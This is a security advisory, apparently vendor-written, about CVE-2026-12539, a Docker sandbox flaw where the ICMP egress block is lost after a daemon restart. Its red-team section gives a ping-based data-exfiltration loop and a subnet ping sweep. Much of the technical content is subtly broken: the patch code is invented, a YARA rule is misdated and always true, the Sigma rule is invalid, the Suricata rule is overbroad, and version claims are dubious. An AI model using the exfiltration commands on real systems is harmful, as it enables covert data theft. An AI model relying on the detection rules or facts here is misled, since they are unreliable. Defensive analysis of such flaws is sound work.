CVE-2026-12539

Executive Summary

CVE-2026-12539 is a critical authorization bypass vulnerability in Docker's sandbox (sbx) feature. The flaw arises because the ICMP egress block authorizer is applied only at network creation time. When the Docker daemon restarts and rebuilds networks from disk, the authorizer is not re-applied, allowing workloads inside a sandbox to send ICMP packets to arbitrary hosts. This defeats the documented ICMP egress block, enabling network reconnaissance and data exfiltration over an ICMP covert channel, regardless of the configured allowlist.

The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the impact, it should be rated high (7.5+) due to the ease of exploitation and potential for data exfiltration. The EPSS score is 0.0%, indicating no active exploitation in the wild yet, but the risk is significant for environments using Docker sandboxes for isolation.

Supply Chain & Package Security

This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects Docker itself. However, any containerized application using Docker sandboxes is at risk. Organizations should audit their Docker configurations and ensure that sandbox networks are properly re-authorized after daemon restarts.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – The attacker must have access to a workload inside the sandbox.
• Attack Complexity (AC): Low (L) – No special conditions required; the daemon restart is a normal operation.
• Privileges Required (PR): Low (L) – The workload is untrusted but has network access.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – Data exfiltration is possible.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High – The vulnerability allows bypassing a security control, enabling covert channels and reconnaissance.

Deep Dive & Mechanics

Docker sandboxes (sbx) are designed to restrict network egress, including ICMP traffic, based on an allowlist. The authorizer is applied when the network is created. However, when the Docker daemon restarts, it rebuilds networks from disk (e.g., from /var/lib/docker/network/files/). During this rebuild, the authorizer is not re-applied, leaving the network without ICMP restrictions.

Root Cause: The authorization logic is not persisted or re-evaluated on daemon restart. The network state is restored, but the security policy is lost.

Attack Scenario:

1. An attacker gains access to a workload inside a Docker sandbox (e.g., via a compromised container).
2. The Docker daemon restarts (planned or unplanned).
3. The sandbox network is rebuilt without the ICMP egress block.
4. The attacker uses ICMP packets to scan internal networks or exfiltrate data (e.g., using ping with custom payloads).

Impact:

• Network reconnaissance: Mapping internal hosts and services.
• Data exfiltration: Encoding data in ICMP echo request payloads.
• Bypass of security controls: The documented ICMP block is ineffective after restart.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Network creation applies authorizer
func createNetwork(config NetworkConfig) {
    applyAuthorizer(config)
    saveToDisk(config)
}

// Daemon restart rebuilds network without re-applying authorizer
func rebuildNetworkFromDisk() {
    config := loadFromDisk()
    // Missing: applyAuthorizer(config)
    createNetworkFromConfig(config)
}

Patched Code (Conceptual):

func rebuildNetworkFromDisk() {
    config := loadFromDisk()
    applyAuthorizer(config) // Re-apply authorizer
    createNetworkFromConfig(config)
}

Note: No official patch has been released. The fix requires modifying Docker source code to re-apply authorizers on network rebuild.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Docker with sandbox support (e.g., Docker 19.03+).
2. Create a sandbox network with ICMP egress block:

   docker network create --driver sbx --opt icmp-block=true sandbox-net
   

3. Run a container inside the sandbox:

   docker run --rm -it --network sandbox-net alpine sh
   

4. Inside the container, test ICMP egress (should be blocked):

   ping -c 1 8.8.8.8
   

5. Restart the Docker daemon:

   sudo systemctl restart docker
   

6. Re-run the container and test ICMP egress (now allowed):

   ping -c 1 8.8.8.8
   

Exploitation:

• Use ICMP for data exfiltration:

  # Encode data in ICMP payload
  echo "secret_data" | xxd -p | while read line; do ping -c 1 -p $line 8.8.8.8; done
  

• Network reconnaissance:

  for ip in 192.168.1.{1..254}; do ping -c 1 -W 1 $ip &>/dev/null && echo "$ip is up"; done
  

Blue Team

Detection:

• Monitor for ICMP traffic from sandbox networks after daemon restarts.
• Use network flow logs to identify unexpected ICMP egress.
• Alert on containers sending ICMP packets to external hosts.

Mitigation:

• Implement a custom daemon restart hook to re-apply network policies.
• Use network security groups or firewalls to block ICMP egress at the host level.
• Regularly audit Docker network configurations.

Indicators of Compromise (IOCs)

• Network: ICMP packets from Docker sandbox networks to external IPs.
• Process: ping or custom ICMP tools running inside containers.
• Logs: Docker daemon logs showing network rebuild without authorization.
• File: Modified Docker network configuration files (e.g., /var/lib/docker/network/files/).

Detection Engineering

YARA Rule

rule Detect_ICMP_Exfiltration_From_Docker_Sandbox {
    meta:
        description = "Detects ICMP packets from Docker sandbox networks after daemon restart"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-12539"
    strings:
        $icmp_payload = /[A-Za-z0-9+/=]{20,}/ // Base64-like payload in ICMP
    condition:
        $icmp_payload and // Adjust for network capture context
        // Additional context: container ID or sandbox network name
        true
}

Sigma Rule

title: Docker Sandbox ICMP Egress After Daemon Restart
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects ICMP traffic from Docker sandbox networks after daemon restart
author: Valters IT
logsource:
    category: network_connection
    product: linux
detection:
    selection:
        EventID: 3 // Sysmon network connection
        Image|endswith: '/ping'
        DestinationPort: 0 // ICMP
        SourceIp|startswith: '172.' // Docker sandbox subnet
    condition: selection
falsepositives:
    - Legitimate ICMP monitoring tools
level: high

Suricata Rule

alert icmp any any -> any any (msg:"CVE-2026-12539 - Docker Sandbox ICMP Egress Bypass"; content:"|08 00|"; depth:2; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict ICMP egress at the host firewall level (e.g., iptables) for Docker sandbox networks.
2. Short-term: Implement a custom Docker daemon restart hook to re-apply network authorizers.
3. Long-term: Apply the official patch when released (monitor Docker GitHub for updates).
4. Monitoring: Enable logging for Docker daemon restarts and network rebuilds.
5. Audit: Review all Docker sandbox configurations and ensure ICMP blocks are enforced.

Workaround: Use a separate network namespace or iptables rules to block ICMP egress from sandbox containers.

Valters IT